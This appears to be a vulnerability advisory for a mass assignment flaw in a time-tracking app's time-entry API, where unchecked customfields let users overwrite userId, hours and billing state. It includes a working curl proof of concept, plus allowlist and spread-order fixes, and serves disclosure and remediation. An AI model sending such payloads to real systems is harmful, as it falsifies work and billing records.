Summary

Mass Assignment vulnerability exists in the REST API endpoint that allows authenticated users to inject arbitrary fields into time entries via the customfields parameter, bypassing business logic controls.

Details

The affected endpoint uses the JavaScript spread operator (...customfields) to merge user-controlled input directly into the database document. While customfields is validated as an Object type, there is no validation of which keys are permitted inside that object. This allows attackers to overwrite protected fields such as userId, hours, and state.

PoC

1. Create a user and generate an API token
2. Identify a valid project ID
3. Send a POST request to /timeentry/create/ with malicious customfields
4. Observe that protected fields are overwritten in the created time entry

curl -X POST "http://192.168.52.1:3000/timeentry/create/" \
  -H "Authorization: Bearer USER_API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "projectId": "TARGET_PROJECT_ID",
    "task": "Mass Assignment Test",
    "date": "2025-12-27",
    "hours": 1,
    "customfields": {
      "state": "billed",
      "hours": 9999
    }
  }'

Suggested Fix

Implement an allowlist for permitted custom field keys:

const ALLOWED_CUSTOMFIELDS = ['customField1', 'customField2', 'notes']  // Define permitted keys

function sanitizeCustomFields(customfields) {
  if (!customfields) return {}
  const sanitized = {}
  for (const key of Object.keys(customfields)) {
    if (ALLOWED_CUSTOMFIELDS.includes(key)) {
      sanitized[key] = customfields[key]
    }
  }
  return sanitized
}

// In insertTimeCard:
const safeCustomFields = sanitizeCustomFields(customfields)
const newTimeCard = {
  userId,
  projectId,
  date,
  hours,
  task: await emojify(task),
  ...safeCustomFields,
}

Alternatively, apply the spread operator before protected fields to prevent overwriting:

const newTimeCard = {
  ...customfields,  // Spread first
  userId,           // Protected fields after (cannot be overwritten)
  projectId,
  date,
  hours,
  task: await emojify(task),
}